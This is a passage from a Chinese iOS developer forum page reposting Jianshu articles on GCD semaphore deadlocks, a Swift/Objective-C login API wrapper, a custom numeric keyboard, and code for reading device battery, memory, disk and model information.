2019-10-11 14:40:27.063275+0800 LJC[9013:1356826] 信号量限制 3
2019-10-11 14:40:28.160535+0800 LJC[9013:1356931] 任务完成 4
2019-10-11 14:40:28.160988+0800 LJC[9013:1356826] 信号量限制 4
2019-10-11 14:40:29.161327+0800 LJC[9013:1356931] 任务完成 5
2019-10-11 14:40:29.161512+0800 LJC[9013:1356826] 信号量限制 5
2019-10-11 14:40:30.161756+0800 LJC[9013:1356931] 任务完成 6
2019-10-11 14:40:30.161989+0800 LJC[9013:1356826] 信号量限制 6
2019-10-11 14:40:31.261507+0800 LJC[9013:1356931] 任务完成 7
2019-10-11 14:40:31.261912+0800 LJC[9013:1356826] 信号量限制 7
2019-10-11 14:40:32.361503+0800 LJC[9013:1356931] 任务完成 8
2019-10-11 14:40:32.361870+0800 LJC[9013:1356826] 信号量限制 8
2019-10-11 14:40:33.461544+0800 LJC[9013:1358198] 任务完成 9
2019-10-11 14:40:33.461953+0800 LJC[9013:1356826] 信号量限制 9

如果我们把
dispatch_queue_t queue = dispatch_queue_create("myqueue",DISPATCH_QUEUE_SERIAL);
替换成
dispatch_queue_t queue = dispatch_get_main_queue()
发现输出结果为空

为什么呢?
首先我们要知道
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
他怎么才能实现锁的功能,他的锁其实是针对线程的,我们当前任务是在主线程执行的,我们就需要在主线程上锁。
完成任务我们去将信号量+1,即执行
dispatch_semaphore_signal(semaphore)
这个时候发现你的回调也是在主线程触发的,但是此时主线程上锁,已经卡住了,是不能让你在主线程做任务的,这就形成了相互等待,卡死了,所以我们需要将回调任务放在非主线程中(以目前这个例子来说,就是非主线程,其实我们最终调整的目的是让执行任务和回调任务不在同一线程即可)。

那我们如果将任务(for循环)在子线程中执行,回调在主线程中是否可以呢?下面我们修改代码

-(void)semaphoreTest{

dispatch_async(dispatch_get_global_queue(0, 0), ^{
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

for (int i = 0; i<10; i++) {
[self semaphoreTestBlock:^(NSString *TNT) {
NSLog(@"任务完成 %d",i);
dispatch_semaphore_signal(semaphore);
}];

dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
NSLog(@"信号量限制 %d",i);
}
});
}

-(void)semaphoreTestBlock:(void(^)(NSString * TNT))block{

// dispatch_queue_t queue = dispatch_queue_create("myqueue",DISPATCH_QUEUE_CONCURRENT);
dispatch_queue_t queue = dispatch_get_main_queue();
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(1 * NSEC_PER_SEC)), queue, ^{
block(@"完成");
});
}

输出结果:

2019-10-11 14:51:00.224109+0800 LJC[9063:1362953] 任务完成 0
2019-10-11 14:51:00.224486+0800 LJC[9063:1363099] 信号量限制 0
2019-10-11 14:51:01.325117+0800 LJC[9063:1362953] 任务完成 1
2019-10-11 14:51:01.325493+0800 LJC[9063:1363099] 信号量限制 1
2019-10-11 14:51:02.425129+0800 LJC[9063:1362953] 任务完成 2
2019-10-11 14:51:02.425491+0800 LJC[9063:1363099] 信号量限制 2
2019-10-11 14:51:03.524266+0800 LJC[9063:1362953] 任务完成 3
2019-10-11 14:51:03.524715+0800 LJC[9063:1363099] 信号量限制 3
2019-10-11 14:51:04.625254+0800 LJC[9063:1362953] 任务完成 4
2019-10-11 14:51:04.625659+0800 LJC[9063:1363099] 信号量限制 4
2019-10-11 14:51:05.725228+0800 LJC[9063:1362953] 任务完成 5
2019-10-11 14:51:05.725573+0800 LJC[9063:1363099] 信号量限制 5
2019-10-11 14:51:06.726094+0800 LJC[9063:1362953] 任务完成 6
2019-10-11 14:51:06.726442+0800 LJC[9063:1363099] 信号量限制 6
2019-10-11 14:51:07.825270+0800 LJC[9063:1362953] 任务完成 7
2019-10-11 14:51:07.825613+0800 LJC[9063:1363099] 信号量限制 7
2019-10-11 14:51:08.925323+0800 LJC[9063:1362953] 任务完成 8
2019-10-11 14:51:08.925674+0800 LJC[9063:1363099] 信号量限制 8
2019-10-11 14:51:10.025359+0800 LJC[9063:1362953] 任务完成 9
2019-10-11 14:51:10.025722+0800 LJC[9063:1363099] 信号量限制 9

这就验证了我们的想法, 执行任务和任务回调是不能在一个线程中的

整理

在使用信号量的时候,需要注意 dispatch_semaphore_wait 需要和 任务 放在同一线程,在任务执行异步回调的时候,需要将回调放在与执行任务不同的线程中,因为如果在同一线程中 dispatch_semaphore_wait 操作会造成相互等待导致死锁问题,我们在使用 AFNetWorking 的时候,他默认的回调是在 主线程中,所以我们在配合 AFNetWorking 使用信号量的时候可以指定 AFNetWorking 的回调线程,或者我们在执行任务的时候,将任务放在其他线程

注释:
写这篇文章是因为我在用信号量配合AFNetWorking做网路任务的时候发现一只卡死,在网上找的都说指定AFNetWorking 的 completionQueue ,然后我更改了代码,request是我们网络对AFNetWorking的封装对象实例,按理来说是没问题的,但是不知道为什么还是会造成死锁。目前原因没找到。所以我将for循环再放了子线程中

request.sessionManager.completionQueue = dispatch_get_global_queue(0, 0);

如发现理解错误,望指出 ^_^ THANKS

转自:https://www.jianshu.com/p/91e9e38e3f51

收起阅读 »

iOS 登录接口封装实践

登录。。。基本所有APP都少不了,开始写APP,可能首先就是从登录开始我也一样,我手上有一个封装了所有账户体系相关接口的SDK,运行良好但也遇到一些烦心事,就拿登录来说说吧。首先有如下相关封装,很常见,也无需太多解释:import Foundationpubl...
继续阅读 »

登录。。。基本所有APP都少不了,开始写APP,可能首先就是从登录开始
我也一样,我手上有一个封装了所有账户体系相关接口的SDK,运行良好但也遇到一些烦心事,就拿登录来说说吧。

首先有如下相关封装,很常见,也无需太多解释:

import Foundation

public typealias Response = (_ json: String?, _ error: Error?) -> Void

// 账户体系管理器
public class AccountMgr: NSObject {
private override init() {}
public static let shared = AccountMgr()
}

public extension AccountMgr {
/// 登录
/// - Parameters:
/// - accountType: 账户类型 see `AccountType`
/// - password: 密码
/// - res: 请求结果
func login(by accountType: AccountType, password: String, res: Response?) {
var params = [String: Any]()
switch accountType {
case let .email(email):
params["type"] = "email"
params["email"] = email
case let .mobile(mobile, mobileArea):
params["type"] = "mobile"
params["mobile"] = mobile
params["mobileArea"] = mobileArea
}

params["password"] = password
//网络请求,并回调
//request(type: .post, api: .login, params: params, res: res)
}
}

/// 账号类型
public enum AccountType {
/// 手机号
/// - mobile: 手机号
/// - mobileArea: 国家区号(中国 86)
case mobile(_ phoneNumber: String, mobileArea: String = "86")
/// 邮箱
case email(_ email: String)
}

使用也很方便:

// 分开使用
AccountMgr.shared.login(by: .email(""), password: "", res: nil)
AccountMgr.shared.login(by: .mobile("", mobileArea: ""), password: "", res: nil)

// 合并使用
var loginType: AccountType
if inputEmail {
loginType = .email("test@weixian.com")
} else {
loginType = .mobile("18000000000", mobileArea: "86")
}
AccountMgr.shared.login(by: loginType, password: "xxxxx", res: nil)

无论是邮箱,手机号登录分开逻辑登录,还是统一的登录管理器登录都能胜任,并且只有两种登录,分开写也不会多很多代码。

有一天,这个SDK需要在OC项目中使用

感觉没爱了,懒得想太多,直接废弃了Swift 枚举的便利性,写成了两个方法:

public class AccountMgr: NSObject {
private override init() {}
@objc(shareInstance)
public static let shared = AccountMgr()
}

@objc func loginBy(email: String, password: String, res: Response?)

@objc func loginBy(mobile: String, mobilArea: String, password: String, res: Response?)

之所以写成loginBy(email:)而不是login(by email:),主要是为了swift 转 OC 后使用的时候能直接看懂,也不需要去查看定义,看如下截图就能明白了:


第一个方法不看定义,应该没办法了解参数应该填什么了。

就这样,我的SDK又运行了一段时间,看起来也没什么大问题,无非是手机登录和邮箱登录一定要分开调用罢了

又有一天,这个登录方法要增加用户账号登录

依样画葫芦,我又增加了一个接口~~~,只是这样,那故事就结束了。

可惜,我还有第三方绑定接口,即微信登录后绑定手机,邮箱,或账号、、、、这里又三个接口,还有查询账号信息又三个,还有。。。又三个。。。,还有。。。又三个。。。

这个时候我又开始怀念第一版的接口了,其实这很容易解决,只要一个整型枚举,然后把多出来的参数设置为可选,虽然使用的时候会有点奇怪,但是很好的解决了问题。并且最终我也是这么做的,可我还是想在Swift中能够更好的使用Swfit特性,写出更简洁的代码。。所以我写了两套接口。。。。,一套OC使用,一套Swfit使用,因为我总觉得在不久的将来,我就不需要支持OC了:

首先增加了一个OC的类型枚举:

@objc public enum AccountType_OC: Int {
case mobile
case email
case userId
}

然后增加了一个只有OC可用的方法:

@available(swift 10.0)
@objc func loginBy(accountType: AccountType_OC, account: String, password: String, mobileArea: String?, res: Response?) {
let type = getSwiftAccountType(accountType: accountType, account: account, mobileArea: mobileArea)
login(by: type, password: password, res: res)
}

private func getSwiftAccountType(accountType: AccountType_OC, account: String, mobileArea: String?) -> AccountType {
var type: AccountType
switch accountType {
case .mobile:
guard let mobileArea = mobileArea else { fatalError("need mobile area") }
type = .mobile(account, mobileArea: mobileArea)
case .email:
type = .email(account)
case .userId:
type = .userId(account)
}
return type
}

OC中没办法给参数赋默认值,即类似mobileArea: String = "86" 这种,完全没有用。。。

私有类型转换的方法的封装,使得所有其他方法可以快速转换,关于@available(swift 10.0) 意思就是说只有Swift 版本10.0只后才可以使用。。即变相达到了,在Swift 代码中不会出现这个方法,只有下面方法可以使用:

func login(by accountType: AccountType, password: String, res: Response?)

基本就是这样了,看起来很麻烦,也确实挺麻烦,其实完全可以只保留OC使用的方法,这完全归于我的代码洁癖,以及我自己在使用Swift和对于日后去掉OC支持时我可以快乐的删代码的白日幻想。

当然,如果你只是在自己的混编APP内部封装一些接口,那一套接口应该是比较好的,如果你的是SDK,同时你也不是很怕麻烦,像我这样写也许会有一些意外的收获。

链接:https://www.jianshu.com/p/247c1e923c5c

收起阅读 »

iOS自定义键盘-简单版

为什么说是简单版,因为这里只说一个数字键盘。一,怎么自定义键盘随便一个view都可以作为键盘,主要代码是为你的输入框指定inputView,这个inputView就是键盘,键盘具体什么样子都可以。kfZNumberKeyBoard * mkb = [kfZNu...
继续阅读 »

为什么说是简单版,因为这里只说一个数字键盘。
一,怎么自定义键盘
随便一个view都可以作为键盘,主要代码是为你的输入框指定inputView,这个inputView就是键盘,键盘具体什么样子都可以。

kfZNumberKeyBoard * mkb = [kfZNumberKeyBoard moneyKeyBoardBuyer];

UITextField * field = [[UITextField alloc]init];
field.backgroundColor = [UIColor cyanColor];
field.inputView = mkb;
[self.view addSubview:field];
field.frame = CGRectMake(20, NavBottom + 50, DEF_SCREEN_WIDTH - 40, 40);

二,自定义键盘怎么实现各种输入
这里千万不要自己拼接字符串太容易出问题了,用系统自带的方法。我们发现不管UITextField还是UITextView都遵循UITextInput协议,这个协议又遵循UIKeyInput协议,我们用的就是UIKeyInput协议中的方法。

- (void)insertText:(NSString *)text;//插入文字,不用处理光标位置
- (void)deleteBackward;//删除,不用处理光标位置

用这两个方法是不是事情就特别简单了,其实说到这里已经可以了,怎么做都说完了。不过我还是推销一下我写的数字键盘吧。最后面我会贴出代码用的可以拷贝改一下。

三,数字键盘
先看效果图:


a.UI布局上,删除和确定是单独的按键,其他部分我用了collectionView,想着之后做的乱序加密效果好做,打乱数据源刷新一下就行(当然现在没有,不是懒,过渡开发是病)
b.获取当前输入框,这里为了不在外面传,直接在内部监听了输入框开始输入和结束输入。
c.加了几个输入限制:
1.有小数点不能在输入小数点
2.内容为空输入小数点时,前面自动补0
3.最大小数位数限制(测试不多可能有bug哦)
4.移除焦点时小数点前面没东西自动补0
5.输入框有内容确定可以点击,输入框没内容确定不能点击。

下面是代码了:

@interface kfZNumberKeyBoard : UIView

/** 确认按键 */
@property (nonatomic, strong) UIButton * returnButton;
/** 有没有小数点 */
@property (nonatomic, assign) BOOL hiddenPoint;
/** 小数位数,为0不限制,不需要小数时请使用hiddenPoint隐藏点 默认是2 */
@property (nonatomic, assign) NSUInteger decimalCount;
/** 整体高度 */
@property (nonatomic, assign, readonly) CGFloat KFZNumberKeyBoardHeight;

+(instancetype)moneyKeyBoardBuyer;
+(instancetype)moneyKeyBoardSeller;

-(instancetype)initWitHiddenPoint:(BOOL)hiddenPoint;

@end
#import "kfZNumberKeyBoard.h"
#import "KFZKeyBoardCell.h"
@interface kfZNumberKeyBoard ()

@property(nonatomic, weak) UIView * textInputView;

/** 删除按键 */
@property (nonatomic, strong) UIButton * deleteButton;

@property (nonatomic, strong) UICollectionView *collectionView;
@property (nonatomic, strong) NSArray *dataSource;

/** 间隔 */
@property (nonatomic, assign) CGFloat KFZNumberKeyBoardSpace;
/** 数字按键高度 */
@property (nonatomic, assign) CGFloat KFZNumberKeyBoardItemHeight;

@end

@implementation kfZNumberKeyBoard

+(instancetype)moneyKeyBoardBuyer{
kfZNumberKeyBoard * keyBoard = [[kfZNumberKeyBoard alloc]initWitHiddenPoint:NO];
return keyBoard;
}

+(instancetype)moneyKeyBoardSeller{
kfZNumberKeyBoard * keyBoard = [[kfZNumberKeyBoard alloc]initWitHiddenPoint:NO];
keyBoard.returnButton.backgroundColor = [UIColor maintonal_sellerMain];
return keyBoard;
}

-(instancetype)initWitHiddenPoint:(BOOL)hiddenPoint{
self = [super init];
if (self) {
_hiddenPoint = hiddenPoint;
_KFZNumberKeyBoardItemHeight = 50.f;
_KFZNumberKeyBoardSpace = 0.5;
_KFZNumberKeyBoardHeight = _KFZNumberKeyBoardItemHeight * 4 + _KFZNumberKeyBoardSpace * 5 + HOMEINDICATOR_HEIGHT;
_decimalCount = 2;

self.frame = CGRectMake(0, 0, DEF_SCREEN_WIDTH, _KFZNumberKeyBoardHeight);

_deleteButton = [[UIButton alloc]init];
_deleteButton.backgroundColor = [UIColor color_FAFAFA];
[_deleteButton setImage:[UIImage imageNamed:@"keyboard_icon_backspace"] forState:UIControlStateNormal];
[_deleteButton addTarget:self action:@selector(deleteEvent) forControlEvents:UIControlEventTouchUpInside];
[self addSubview:_deleteButton];
[_deleteButton mas_makeConstraints:^(MASConstraintMaker *make) {
make.top.mas_equalTo(_KFZNumberKeyBoardSpace);
make.right.mas_equalTo(0.f);
make.width.equalTo(self).multipliedBy(0.25);
}];

_returnButton = [[UIButton alloc]init];
[_returnButton setTitle:@"确定" forState:UIControlStateNormal];
[_returnButton setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
_returnButton.titleLabel.font = [UIFont custemFontOfSize:20 weight:UIFontWeightRegular];
_returnButton.backgroundColor = [UIColor mainTonal_main];
[_returnButton addTarget:self action:@selector(returnEvent) forControlEvents:UIControlEventTouchUpInside];
[self addSubview:_returnButton];
[_returnButton mas_makeConstraints:^(MASConstraintMaker *make) {
make.top.equalTo(_deleteButton.mas_bottom);
make.right.equalTo(_deleteButton);
make.bottom.mas_equalTo(-HOMEINDICATOR_HEIGHT);
make.height.equalTo(_deleteButton);
make.width.equalTo(_deleteButton).offset(_KFZNumberKeyBoardSpace);
}];

//101对应小数点 102对应收起键盘 修改的话其他的判断逻辑也要修改
_dataSource = @[@(1), @(2), @(3), @(4), @(5), @(6), @(7), @(8), @(9), @(101), @(0), @(102)];

UICollectionViewFlowLayout * layout = [[UICollectionViewFlowLayout alloc]init];
layout.itemSize = CGSizeMake((DEF_SCREEN_WIDTH * 3.f/4.f - _KFZNumberKeyBoardSpace*3)/3.f, (_KFZNumberKeyBoardHeight - HOMEINDICATOR_HEIGHT - _KFZNumberKeyBoardSpace*5)/4.f);
layout.sectionInset = UIEdgeInsetsMake(_KFZNumberKeyBoardSpace, 0, _KFZNumberKeyBoardSpace, _KFZNumberKeyBoardSpace);
layout.minimumLineSpacing = _KFZNumberKeyBoardSpace;
layout.minimumInteritemSpacing = _KFZNumberKeyBoardSpace;

_collectionView = [[UICollectionView alloc]initWithFrame:CGRectZero collectionViewLayout:layout];
_collectionView.dataSource = self;
_collectionView.delegate = self;
[_collectionView registerClass:[KFZKeyBoardCell class] forCellWithReuseIdentifier:NSStringFromClass([KFZKeyBoardCell class])];
_collectionView.backgroundColor = [UIColor clearColor];
_collectionView.scrollEnabled = NO;
[self addSubview:_collectionView];
[_collectionView mas_makeConstraints:^(MASConstraintMaker *make) {
make.top.left.mas_equalTo(0.f);
make.bottom.mas_equalTo(-HOMEINDICATOR_HEIGHT);
make.right.equalTo(_deleteButton.mas_left);
}];


[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(textInputViewDidBeginEditing:) name:UITextFieldTextDidBeginEditingNotification object:nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(textInputViewDidEndEditing:) name:UITextFieldTextDidEndEditingNotification object:nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(textInputViewDidBeginEditing:) name:UITextViewTextDidBeginEditingNotification object:nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(textInputViewDidEndEditing:) name:UITextViewTextDidEndEditingNotification object:nil];
}
return self;
}

-(void)dealloc{
[[NSNotificationCenter defaultCenter] removeObserver:self name:UITextFieldTextDidBeginEditingNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UITextFieldTextDidEndEditingNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UITextViewTextDidBeginEditingNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UITextViewTextDidEndEditingNotification object:nil];
}

#pragma mark - response

-(void)textInputWithNumber:(NSNumber *)number{
NSString *strValue = [self inputViewString];

if ([number isEqualToNumber:@(101)]) {
if ([strValue containsString:@"."]){
return;
}else{
if ([strValue length] <= 0)
[self.textInputView insertText:@"0."];
else
[self.textInputView insertText:@"."];
}
}else{
if ([strValue containsString:@"."] && _decimalCount > 0) {
NSInteger pointLocation = [strValue rangeOfString:@"."].location;
NSInteger curDecimalCount = strValue.length - pointLocation - 1;
if (curDecimalCount >= _decimalCount) {
NSInteger cursorLocation = [self inputViewSelectRangeLocation];
if (cursorLocation <= pointLocation) {
[_textInputView insertText:number.stringValue];
}
}else{
[_textInputView insertText:number.stringValue];
}
}else{
[_textInputView insertText:number.stringValue];
}
}
[self freshReturnButtonEnabled];
}

-(void)deleteEvent{
[_textInputView deleteBackward];
[self freshReturnButtonEnabled];
}

-(void)returnEvent{
[_textInputView resignFirstResponder];
}

-(void)textInputViewDidBeginEditing:(NSNotification*)notification{
_textInputView = notification.object;
[self freshReturnButtonEnabled];
}

-(void)textInputViewDidEndEditing:(NSNotification*)notification{
NSString *strValue = [self inputViewString];
if ([strValue startsWithString:@"."]) {
strValue = [NSString stringWithFormat:@"0%@", strValue];
[self setInputViewString:strValue];
}
_textInputView = nil;

}

-(NSString *)inputViewString{
NSString *strValue = @"";
if ([self.textInputView isKindOfClass:[UITextView class]]){
strValue = ((UITextView *)self.textInputView).text;
}else if ([self.textInputView isKindOfClass:[UITextField class]]){
strValue = ((UITextField *)self.textInputView).text;
}
return strValue;
}

-(void)setInputViewString:(NSString *)string{
if ([self.textInputView isKindOfClass:[UITextView class]]){
((UITextView *)self.textInputView).text = string;
}else if ([self.textInputView isKindOfClass:[UITextField class]]){
((UITextField *)self.textInputView).text = string;
}
}

-(NSInteger)inputViewSelectRangeLocation{
NSInteger location = 0;
if ([self.textInputView isKindOfClass:[UITextView class]]){
UITextView * textView = (UITextView *)self.textInputView;
location = textView.selectedRange.location;
}else if ([self.textInputView isKindOfClass:[UITextField class]]){
UITextField *textField = (UITextField *)self.textInputView;
UITextPosition* beginning = textField.beginningOfDocument;
UITextRange* selectedRange = textField.selectedTextRange;
UITextPosition* selectionStart = selectedRange.start;
location = [textField offsetFromPosition:beginning toPosition:selectionStart];
}
return location;
}

-(void)freshReturnButtonEnabled{
NSString *strValue = [self inputViewString];
if (strValue.length == 0) {
_returnButton.enabled = NO;
_returnButton.alpha = 0.6;
}else{
_returnButton.enabled = YES;
_returnButton.alpha = 1.f;
}
}

#pragma mark -- Delegate
#pragma mark - UICollectionViewDataSource

- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section{
return self.dataSource.count;
}

- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath{
KFZKeyBoardCell * cell = [collectionView dequeueReusableCellWithReuseIdentifier:NSStringFromClass([KFZKeyBoardCell class]) forIndexPath:indexPath];
NSNumber * number = self.dataSource[indexPath.row];
if ([number isEqualToNumber:@(101)] && _hiddenPoint) {
cell.textLabel.text = @"";
}else{
cell.textNumber = number;
}
return cell;
}

#pragma mark - UICollectionViewDelegate

- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath{
NSNumber * number = self.dataSource[indexPath.row];
if ([number isEqualToNumber:@(102)]) {
[_textInputView resignFirstResponder];
return;
}
if ([number isEqualToNumber:@(101)] && _hiddenPoint) {
return;
}
[self textInputWithNumber:number];
}

#pragma mark - init

-(void)setHiddenPoint:(BOOL)hiddenPoint{
_hiddenPoint = hiddenPoint;
[_collectionView reloadData];
}

@end

这个是里面cell的:

@interface KFZKeyBoardCell : UICollectionViewCell
/** 文字 */
@property (nonatomic, strong) UILabel * textLabel;
/** 图片 */
@property (nonatomic, strong) UIImageView * imageIcon;

/** 设置值 */
@property (nonatomic, strong) NSNumber * textNumber;
@end
#import "KFZKeyBoardCell.h"

@implementation KFZKeyBoardCell

- (instancetype)initWithFrame:(CGRect)frame{
self = [super initWithFrame:frame];
if (self) {
self.backgroundColor = [UIColor color_FAFAFA];

[self.contentView addSubview:self.textLabel];
[self.textLabel mas_makeConstraints:^(MASConstraintMaker *make) {
make.top.bottom.left.right.mas_equalTo(0.f);
}];

self.imageIcon.hidden = YES;
[self.contentView addSubview:self.imageIcon];
[self.imageIcon mas_makeConstraints:^(MASConstraintMaker *make) {
make.center.mas_equalTo(CGPointZero);
make.size.mas_equalTo(CGSizeMake(24.f, 22.f));
}];
}
return self;
}
-(void)prepareForReuse{
self.textLabel.hidden = NO;
self.imageIcon.hidden = YES;
}
- (void)setTextNumber:(NSNumber *)textNumber{
_textNumber = textNumber;
if ([textNumber isEqualToNumber:@(101)]) {
self.textLabel.text = @"·";
}
else if ([textNumber isEqualToNumber:@(102)]){
self.textLabel.hidden = YES;
self.imageIcon.hidden = NO;
self.imageIcon.image = [UIImage imageNamed:@"keyboard_icon_smallkb"];
}
else{
self.textLabel.text = textNumber.stringValue;
}
}

- (UILabel *)textLabel{
if (!_textLabel) {
_textLabel = [[UILabel alloc]init];
_textLabel.font = [UIFont KFZSpecial_DINAlternateBoldWithFontSize:24.f];
_textLabel.textAlignment = NSTextAlignmentCenter;
_textLabel.userInteractionEnabled = NO;
_textLabel.backgroundColor = UIColor.clearColor;
}
return _textLabel;
}

-(UIImageView *)imageIcon{
if (!_imageIcon) {
_imageIcon = [[UIImageView alloc]init];
}
return _imageIcon;
}

@end

转自:https://www.jianshu.com/p/226f67166770

收起阅读 »

iOS 设备信息获取

1.获取电池电量(一般用百分数表示,大家自行处理就好)-(CGFloat)getBatteryQuantity{ return [[UIDevice currentDevice] batteryLevel];}2.获取电池状态(UIDeviceBatte...
继续阅读 »

1.获取电池电量(一般用百分数表示,大家自行处理就好)

-(CGFloat)getBatteryQuantity
{
return [[UIDevice currentDevice] batteryLevel];
}

2.获取电池状态(UIDeviceBatteryState为枚举类型)

-(UIDeviceBatteryState)getBatteryStauts
{
return [UIDevice currentDevice].batteryState;
}

3.获取总内存大小

-(long long)getTotalMemorySize
{
return [NSProcessInfo processInfo].physicalMemory;
}

4.获取当前可用内存

-(long long)getAvailableMemorySize
{
vm_statistics_data_t vmStats;
mach_msg_type_number_t infoCount = HOST_VM_INFO_COUNT;
kern_return_t kernReturn = host_statistics(mach_host_self(), HOST_VM_INFO, (host_info_t)&vmStats, &infoCount);
if (kernReturn != KERN_SUCCESS)
{
return NSNotFound;
}
return ((vm_page_size * vmStats.free_count + vm_page_size * vmStats.inactive_count));
}

5.获取已使用内存

- (double)getUsedMemory
{
task_basic_info_data_t taskInfo;
mach_msg_type_number_t infoCount = TASK_BASIC_INFO_COUNT;
kern_return_t kernReturn = task_info(mach_task_self(),
TASK_BASIC_INFO,
(task_info_t)&taskInfo,
&infoCount);

if (kernReturn != KERN_SUCCESS
) {
return NSNotFound;
}

return taskInfo.resident_size;
}

6.获取总磁盘容量

include 
-(long long)getTotalDiskSize
{
struct statfs buf;
unsigned long long freeSpace = -1;
if (statfs("/var", &buf) >= 0)
{
freeSpace = (unsigned long long)(buf.f_bsize * buf.f_blocks);
}
return freeSpace;
}

7.获取可用磁盘容量

-(long long)getAvailableDiskSize
{
struct statfs buf;
unsigned long long freeSpace = -1;
if (statfs("/var", &buf) >= 0)
{
freeSpace = (unsigned long long)(buf.f_bsize * buf.f_bavail);
}
return freeSpace;
}

8.容量转换

-(NSString *)fileSizeToString:(unsigned long long)fileSize
{
NSInteger KB = 1024;
NSInteger MB = KB*KB;
NSInteger GB = MB*KB;

if (fileSize < 10) {
return @"0 B";
}else if (fileSize < KB) {
return @"< 1 KB";
}else if (fileSize < MB) {
return [NSString stringWithFormat:@"%.1f KB",((CGFloat)fileSize)/KB];
}else if (fileSize < GB) {
return [NSString stringWithFormat:@"%.1f MB",((CGFloat)fileSize)/MB];
}else {
return [NSString stringWithFormat:@"%.1f GB",((CGFloat)fileSize)/GB];
}
}

9.型号

#import 

+ (NSString *)getCurrentDeviceModel:(UIViewController *)controller
{
int mib[2];
size_t len;
char *machine;

mib[0] = CTL_HW;
mib[1] = HW_MACHINE;
sysctl(mib, 2, NULL, &len, NULL, 0);
machine = malloc(len);
sysctl(mib, 2, machine, &len, NULL, 0);

NSString *platform = [NSString stringWithCString:machine encoding:NSASCIIStringEncoding];
free(machine);

if ([platform isEqualToString:@"iPhone3,1"]) return @"iPhone 4 (A1332)";
if ([platform isEqualToString:@"iPhone3,2"]) return @"iPhone 4 (A1332)";
if ([platform isEqualToString:@"iPhone3,3"]) return @"iPhone 4 (A1349)";
if ([platform isEqualToString:@"iPhone4,1"]) return @"iPhone 4s (A1387/A1431)";
if ([platform isEqualToString:@"iPhone5,1"]) return @"iPhone 5 (A1428)";
if ([platform isEqualToString:@"iPhone5,2"]) return @"iPhone 5 (A1429/A1442)";
if ([platform isEqualToString:@"iPhone5,3"]) return @"iPhone 5c (A1456/A1532)";
if ([platform isEqualToString:@"iPhone5,4"]) return @"iPhone 5c (A1507/A1516/A1526/A1529)";
if ([platform isEqualToString:@"iPhone6,1"]) return @"iPhone 5s (A1453/A1533)";
if ([platform isEqualToString:@"iPhone6,2"]) return @"iPhone 5s (A1457/A1518/A1528/A1530)";
if ([platform isEqualToString:@"iPhone7,1"]) return @"iPhone 6 Plus (A1522/A1524)";
if ([platform isEqualToString:@"iPhone7,2"]) return @"iPhone 6 (A1549/A1586)";
if ([platform isEqualToString:@"iPhone8,1"]) return @"iPhone 6s";
if ([platform isEqualToString:@"iPhone8,2"]) return @"iPhone 6s Plus";
if ([platform isEqualToString:@"iPhone8,4"]) return @"iPhone SE";
if ([platform isEqualToString:@"iPhone9,1"]) return @"国行、日版、港行iPhone 7";
if ([platform isEqualToString:@"iPhone9,2"]) return @"港行、国行iPhone 7 Plus";
if ([platform isEqualToString:@"iPhone9,3"]) return @"美版、台版iPhone 7";
if ([platform isEqualToString:@"iPhone9,4"]) return @"美版、台版iPhone 7 Plus";
if ([platform isEqualToString:@"iPhone10,1"]) return @"国行(A1863)、日行(A1906)iPhone 8";
if ([platform isEqualToString:@"iPhone10,4"]) return @"美版(Global/A1905)iPhone 8";
if ([platform isEqualToString:@"iPhone10,2"]) return @"国行(A1864)、日行(A1898)iPhone 8 Plus";
if ([platform isEqualToString:@"iPhone10,5"]) return @"美版(Global/A1897)iPhone 8 Plus";
if ([platform isEqualToString:@"iPhone10,3"]) return @"国行(A1865)、日行(A1902)iPhone X";
if ([platform isEqualToString:@"iPhone10,6"]) return @"美版(Global/A1901)iPhone X";

if ([platform isEqualToString:@"iPod1,1"]) return @"iPod Touch 1G (A1213)";
if ([platform isEqualToString:@"iPod2,1"]) return @"iPod Touch 2G (A1288)";
if ([platform isEqualToString:@"iPod3,1"]) return @"iPod Touch 3G (A1318)";
if ([platform isEqualToString:@"iPod4,1"]) return @"iPod Touch 4G (A1367)";
if ([platform isEqualToString:@"iPod5,1"]) return @"iPod Touch 5G (A1421/A1509)";

if ([platform isEqualToString:@"iPad1,1"]) return @"iPad 1G (A1219/A1337)";
if ([platform isEqualToString:@"iPad2,1"]) return @"iPad 2 (A1395)";
if ([platform isEqualToString:@"iPad2,2"]) return @"iPad 2 (A1396)";
if ([platform isEqualToString:@"iPad2,3"]) return @"iPad 2 (A1397)";
if ([platform isEqualToString:@"iPad2,4"]) return @"iPad 2 (A1395+New Chip)";
if ([platform isEqualToString:@"iPad2,5"]) return @"iPad Mini 1G (A1432)";
if ([platform isEqualToString:@"iPad2,6"]) return @"iPad Mini 1G (A1454)";
if ([platform isEqualToString:@"iPad2,7"]) return @"iPad Mini 1G (A1455)";

if ([platform isEqualToString:@"iPad3,1"]) return @"iPad 3 (A1416)";
if ([platform isEqualToString:@"iPad3,2"]) return @"iPad 3 (A1403)";
if ([platform isEqualToString:@"iPad3,3"]) return @"iPad 3 (A1430)";
if ([platform isEqualToString:@"iPad3,4"]) return @"iPad 4 (A1458)";
if ([platform isEqualToString:@"iPad3,5"]) return @"iPad 4 (A1459)";
if ([platform isEqualToString:@"iPad3,6"]) return @"iPad 4 (A1460)";

if ([platform isEqualToString:@"iPad4,1"]) return @"iPad Air (A1474)";
if ([platform isEqualToString:@"iPad4,2"]) return @"iPad Air (A1475)";
if ([platform isEqualToString:@"iPad4,3"]) return @"iPad Air (A1476)";
if ([platform isEqualToString:@"iPad4,4"]) return @"iPad Mini 2G (A1489)";
if ([platform isEqualToString:@"iPad4,5"]) return @"iPad Mini 2G (A1490)";
if ([platform isEqualToString:@"iPad4,6"]) return @"iPad Mini 2G (A1491)";
